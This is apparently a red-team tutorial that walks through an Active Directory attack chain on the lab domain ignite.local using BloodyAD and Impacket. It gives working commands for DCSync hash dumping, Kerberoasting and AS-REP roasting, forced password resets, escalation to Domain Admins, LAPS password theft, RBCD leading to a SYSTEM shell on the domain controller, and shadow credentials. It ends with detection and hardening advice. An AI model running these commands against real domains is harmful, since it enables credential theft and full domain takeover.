Active Directory Penetration Testing with BloodyAD
Active Directory (AD) is the backbone of authentication and authorization in most enterprise Windows environments. Misconfigurations, excessive privileges, and weak password policies create attack paths that red teamers — and unfortunately, real attackers — routinely exploit.
This walkthrough documents a complete attack chain against a lab Active Directory domain (ignite.local) using BloodyAD, a powerful Python-based tool that leverages LDAP and SAMR protocols to interact with AD objects without needing GUI tools or Windows-based utilities.
Table of Contents
- Introduction
- About BloodyAD
- Active Directory Enumeration
- Privilege & Membership Analysis
- Account Management Attacks
- Kerberos-Based Attacks
- User & Credential Manipulation
- DCSync Attack
- ACL Abuse Techniques
- Credential Access Techniques
- Resource-Based Constrained Delegation (RBCD)
- Shadow Credentials Attack
- Detection & Defensive Recommendations
- Conclusion
About BloodyAD
BloodyAD is an open-source Active Directory Swiss Army Knife. It communicates over LDAP(S) and MS-SAMR to read and write AD objects without Windows-based tooling. It is ideal for Linux-based red team engagements.
Active Directory Enumeration
Enumeration is the foundation of any AD attack. BloodyAD’s get children command lets us quickly map the domain structure by querying object types.
Enumerating Computer Accounts
The first command retrieves all computer-type objects in the domain. This reveals workstations, servers, and service accounts registered as computer objects.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get children --otype computer
- CN=DC (Domain Controllers) the primary domain controller
- CN=MSEDGEWIN10, OU=Tech — a Windows 10 workstation in the Tech OU
- CN=WIN-SQL, CN=Computers — a SQL Server
- CN=MyGMSA, CN=Managed Service Accounts — a Group Managed Service Account (GMSA)
- CN=fakepc, CN=fakecomp — attacker-created test objects

Enumerating All User Accounts
This command enumerates all user accounts in Active Directory, helping you build a target list for further analysis or attacks.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get children --otype useronly
- Default accounts: Administrator, Guest, krbtgt
- Tech OU users: raj, aarti, sanjeet, komal, ram, sita, krishna, raaz, aaru, shivam, rudra, aarav, shreya, jerry, tom
- CN=Users container: demo, hulk, natasha, kinjal, yashika, bharat, geet

Enumerating Containers and Ous
Understanding the container structure reveals how objects are organized and where Group Policy Objects (GPOs) are applied.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get children --otype container

DNS Zone Dump
Dumping DNS records provides a complete picture of the network — revealing additional hosts, services, and infrastructure that may not appear in standard AD queries.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get dnsDump

Querying User Group Membership
Understanding which groups, user belongs to determines their effective privileges. We query membership for the user ‘raj’:
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get membership raj

Enumerating Domain Admins Group Members
This command queries the Domain Admins group and lists all its members, helping identify high-privileged accounts in the domain.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get object "Domain Admins" --attr member

Deep Inspection: The ‘aaru’ User Object
This command connects the Domain Controller and dumps all LDAP attributes of user aaru, helping you analyze its configuration, permissions, and potential attack vectors.
bloodyAD -d ignite.local -u administrator -p Ignite@987 --host 192.168.1.11 get object aaru
- description: ‘Generic All Domain Admin’ confirms elevated privileges
- adminCount: 1 — protected by AdminSDHolder; ACL changes propagate from AdminSDHolder
- unixUserPassword: Password@123 — password stored in a non-standard attribute!
- userPassword: Admin@123 — another cleartext password stored in LDAP attribute!
- memberOf: CN=Domain Admins — confirmed Domain Admin

Disabling a User Account
BloodyAD can modify User Account Control (UAC) flags. Setting ACCOUNTDISABLE locks an account — useful for demonstrating impact or testing incident response.
bloodyAD --host 192.168.1.11 -d ignite.local -u Administrator -p 'Ignite@987' add uac tom -f ACCOUNTDISABLE

Enabling User Account
This command removes the ACCOUNTDISABLE flag from user tom, effectively enabling the account in Active Directory.
bloodyAD --host 192.168.1.11 -d ignite.local -u Administrator -p 'Ignite@987' remove uac tom -f ACCOUNTDISABLE

Checking Machine Account Quota
The BloodyAD command is used to query Active Directory for the ms-DS-MachineAccountQuota attribute. This attribute defines how many computers accounts a regular domain user can create.
By default, this value is set to 10, allowing authenticated users to join machines to the domain. From a security perspective, this is important because attackers can abuse this feature to create machine accounts and potentially perform privilege escalation or lateral movement within the network.
bloodyAD --host 192.168.1.11 -d ignite.local -u Administrator -p 'Ignite@987' get object "DC=ignite,DC=local" --attr ms-DS-MachineAccountQuota

Setting a Service Principal Name (Kerberoasting Setup)
In the following command uses BloodyAD to modify an attribute of a user object in Active Directory. Specifically, it sets a Service Principal Name (SPN) for the user account raj.
An SPN uniquely identifies a service instance in a domain and is used by Kerberos for authentication. By assigning an SPN to a user account, that account can be associated with a service.
bloodyAD --host 192.168.1.11 -d ignite.local -u Administrator -p 'Ignite@987' set object raj servicePrincipalName -v 'ignite/hackingarticles'

raj’s servicePrincipalName has been updated. We then verify the SPN is registered:
Two Kerberoastable accounts are identified — krbtgt (expected) and raj (our newly set SPN). An attacker can now request TGS tickets for raj and crack them offline to recover the plaintext password.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p 'Ignite@987' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

For More Details: Deep Dive into Kerberoasting Attack
Creating a New User
This command log in into the domain as administrator and creates a new user named kinjal with the password Password@1 on the Domain Controller (192.168.1.11).
bloodyAD -d ignite.local -u administrator -p Ignite@987 --host 192.168.1.11 add user kinjal Password@1

Get user details
This command connects to the Domain Controller and dumps all available LDAP attributes of the user kinjal, helping you inspect its configuration and privileges.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p Ignite@987 get object kinjal

For More Details: Credential Dumping: AD User Comment
DCSync Attack — Dumping All Credentials
DCSync is one of the most devastating AD attacks. It abuses the Directory Replication Service (DRS) protocol to request password hashes for any or all domain accounts — mimicking domain controller replication.
Granting DCSync Permissions
bloodyAD -d ignite.local -u administrator -p Ignite@987 --host 192.168.1.11 add dcsync kinjal
kinjal is now able to DCSync’. Internally, BloodyAD grants kinjal the three required AD permissions: DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, and DS-Replication-Get-Changes-In-Filtered-Set.

Executing DCSync with Impacket secretsdump
impacket-secretsdump is one of the most critical post-exploitation tools in Active Directory environments. If you have valid credentials and the right privileges, it can expose the entire domain’s credential structure, making it a cornerstone tool for both attackers and defenders.
impacket-secretsdump ignite.local/kinjal:Password@1@192.168.1.11
A complete credential dump including:
- NTLM hashes for every domain user (Administrator, Guest, krbtgt, all Tech OU users, computer accounts)
- Kerberos AES-256, AES-128, and DES-CBC-MD5 keys for all accounts
- Domain Controller Machine Account Hash (DC$)
- Computer account hashes (MSEDGEWIN10$, WIN-SQL$, MyGMSA$, fakepc$)

Cleaning Up — Removing DCSync Rights
This command uses the tool bloodyAD to remove DCSync privileges from a user (kinjal) in an Active Directory environment.
bloodyAD -d ignite.local -u administrator -p Ignite@987 --host 192.168.1.11 remove dcsync kinjal
kinjal can’t DCSync anymore’. Always clean up granted permissions during authorized red team engagements.

For More Details: Credential Dumping: DCSync Attack
Enabling AS-REP Roasting (DONT_REQ_PREAUTH)
This command uses bloodyAD to modify a user account setting in Active Directory — specifically enabling a flag that disables Kerberos pre-authentication for the user yashika.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p Ignite@987 add uac yashika -f DONT_REQ_PREAUTH

AS-REP Roasting with Impacket GetNPUsers
This command is a key step in AS-REP Roasting, allowing you to extract a crackable Kerberos hash for the user yashika without needing any credentials.
impacket-GetNPUsers ignite.local/yashika -dc-ip 192.168.1.11 -no-pass

For More Details: AS-REP Roasting
ACL Abuse — GenericAll on Domain Admins
Force Password Reset via Compromised Account
This command abuses the ForceChangePassword privilege — a Windows ACL right that allows a user to reset another user’s password without knowing the current one. Here, user natasha (who has this right over hulk) is used as the alternate authenticator (-altuser/-altpass) to forcibly reset hulk’s password to Ironman@123
bloodyAD -d ignite.local -u natasha -p Password@1 --host 192.168.1.11 set password hulk Ironman@123
NetExec confirms valid credentials: ‘[+] ignite.local\hulk:Ironman@123’. The account is now fully compromised.
nxc ldap 192.168.1.11 -u hulk -p Ironman@123

For More Details: Abusing AD-DACL: ForceChangePassword
Granting GenericAll on Domain Admins Group
This command grants complete control over the Domain Admins group to user aaru, effectively allowing them to escalate to Domain Admin privileges with a single step, making it one of the most dangerous permission misconfigurations in Active Directory.
bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p Ignite@987 add genericAll "CN=Domain Admins,CN=Users,DC=ignite,DC=local" aaru

Adding Self to Domain Admins via GenericAll
in This command uses bloodyAD to add the user aaru into the Domain Admins group in an Active Directory environment.
bloodyAD --host "192.168.1.11" -d "ignite.local" -u "aaru" -p "Password@1" add groupMember "Domain Admins" "aaru"

For More Details: Abusing AD-DACL : Generic ALL Permissions
Reading LAPS Passwords via BloodyAD
In this command, uses bloodyAD to search and extract LAPS-managed local administrator passwords from Active Directory.
bloodyAD --host "192.168.1.11" -d "ignite.local" -u "aarti" -p "Password@1" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
The MSEDGEWIN10 workstation’s LAPS password is returned: ms-Mcs-AdmPwd contains the current local administrator password with expiration time 134209802227139286. This provides direct local administrator access to that workstation — a critical lateral movement steppingstone.

For More Details : Credential Dumping: LAPS
Resource-Based Constrained Delegation (RBCD)
Resource-Based Constrained Delegation (RBCD) is an Active Directory feature that allows a computer object to specify which service accounts can impersonate users to it. When an attacker can write to a computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, they can add a computer they control and impersonate any user — including Domain Admins — to that target machine.
Step 1 — Create an Attacker-Controlled Computer Account
In this command, it leverages a default Active Directory setting to allow a low-privileged user (geet) to create a new machine account (fakecomp$), which can later be abused for advanced attacks like delegation abuse and privilege escalation.
bloodyAD -u geet -p 'Password@1' -d ignite.local --host 192.168.1.11 add computer fakecomp 'Password@123'

Configure RBCD on the Domain Controller
In this command sets up Resource-Based Constrained Delegation, allowing a controlled machine (fakecomp$) to impersonate any user on the Domain Controller (DC$), making it a critical step toward full domain compromise.
bloodyAD --host 192.168.1.11 -u geet -p 'Password@1' -d ignite.local add rbcd 'DC$' 'fakecomp$'
fakecomp$ can now impersonate users on DC$ via S4U2Proxy’. BloodyAD writes fakecomp$’s SID into DC$’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

Request an Impersonation Ticket (S4U2Self + S4U2Proxy)
In This command is the core exploitation step in RBCD, where your controlled machine account (fakepc$) successfully impersonates Administrator and obtains a valid Kerberos service ticket to access the Domain Controller—leading to full compromise.
impacket-getST ignite.local/'fakepc$':Password@123 -spn cifs/DC.ignite.local -impersonate administrator -dc-ip 192.168.1.11

Use the Ticket to Get a SYSTEM Shell (psexec)
We export the Kerberos credential cache and use psexec to execute commands as Administrator on the DC:
export KRB5CCNAME=administrator@cifs_dc.ignite.local@IGNITE.LOCAL.ccache impacket-psexec ignite.local/administrator@DC.ignite.local -k -no-pass -dc-ip 192.168.1.11

For More Details: Domain Escalation: Resource Based Constrained Delegation
LDAP Search for Passwords & Descriptions in Active Directory
A low-privilege domain user (raj) can run this query. By default, all authenticated users in AD can read description attributes on all objects.
bloodyAD -u raj -p 'Password@1' -d ignite.local --host 192.168.1.48 get search --filter '(|(userPassword=*)(description=*))' --attr userPassword,description


Shadow Credentials Attack
Shadow Credentials is an AD attack that abuses the msDS-KeyCredentialLink attribute. This attribute stores public key credentials used for Windows Hello for Business (WHfB) and certificate-based authentication. If an attacker has WriteProperty rights on a target account’s msDS-KeyCredentialLink attribute, they can add their own certificate — allowing them to authenticate as that account using the certificate, bypassing password authentication entirely.
Adding Shadow Credentials to DC$
The ‘sita’ user has been configured with WriteProperty on the DC$ computer object’s msDS-KeyCredentialLink (as noted in sita’s description: ‘Shadow Credential’). We exploit this:
bloodyAD --host 192.168.1.11 -u sita -p Password@1 -d ignite.local add shadowCredentials DC$
BloodyAD generates an RSA key pair and registers the public key in DC$’s msDS-KeyCredentialLink attribute. The private key and certificate are saved locally:
- pem — the certificate to present during PKINIT authentication
- pem — the RSA private key
BloodyAD also outputs the exact PKINITtools command needed to obtain a TGT:

For More Details: Domain Persistence: DC Shadow Attack
Detection & Defensive Recommendations
Each technique demonstrated in this walkthrough has detectable indicators. Here are the key defenses:
LDAP Enumeration Detection
- Enable LDAP logging and monitor for bulk LDAP queries from non-DC sources
- Alert on LDAP searches for sensitive attributes: userPassword, unixUserPassword, msDS-ManagedPassword
- Never store passwords in LDAP description or custom attributes
Kerberoasting & AS-REP Roasting
- Audit all accounts with SPNs — remove unnecessary SPNs, use Managed Service Accounts
- Ensure all SPN accounts use strong, long passwords (25+ characters)
- Disable DONT_REQ_PREAUTH unless absolutely required — enforce Kerberos pre-authentication
- Monitor for Event ID 4769 (Kerberos Service Ticket) with RC4 encryption
DCSync Detection
- Monitor Event ID 4662 (Operation performed on AD object) with access rights 0x100 (Replicating Directory Changes All)
- Alert on non-DC accounts performing replication requests
- Regularly audit AD ACLs for accounts with DS-Replication-Get-Changes-All rights
ACL Abuse Prevention
- Implement tiered administration — separate admin accounts for different privilege levels
- Regularly audit AD ACLs using tools like BloodHound CE or PingCastle
- Enable Protected Users security group for privileged accounts
- Monitor Event ID 5136 (Directory Service object was modified) for ACL changes
- Reduce Machine Account Quota from 10 to 0 for standard users
General Hardening
- Implement Microsoft’s tiered AD administrative model
- Enable Credential Guard and Protected Users group
- Use fine-grained password policies requiring 15+ character passwords for service accounts
- Deploying LAPS for local administrator account management
- Regularly run BloodHound to identify attack paths before adversaries do
Conclusion
This walkthrough demonstrated a complete Active Directory attack chain — from initial enumeration through full credential compromise — using only BloodyAD and Impacket. The ignite.local lab environment exhibited several critical misconfigurations that are unfortunately common in real enterprise environments:
- Cleartext passwords stored in LDAP attributes (aaru: userPassword, unixUserPassword)
- Multiple non-administrator accounts holding Domain Admin rights
- Default Machine Account Quota of 10 enabling RBCD attacks
- Accounts without pre-authentication requirements (AS-REP Roasting)
- No monitoring of DCSync-enabling ACL changes
BloodyAD is an exceptional tool for Linux-based red teamers. Its ability to perform LDAP-based reading and write without Windows-based utilities makes it ideal for engagements where only a Kali Linux attack box is available.
The most important takeaway is not the attack techniques themselves, but the defensive insight they provide: every misconfiguration exploited in this lab was preventable. Regular AD audits using BloodHound, enforcing the principle of least privilege, monitoring AD ACL changes, and implementing Microsoft’s tiered admin model would have detected or prevented every step of this attack chain.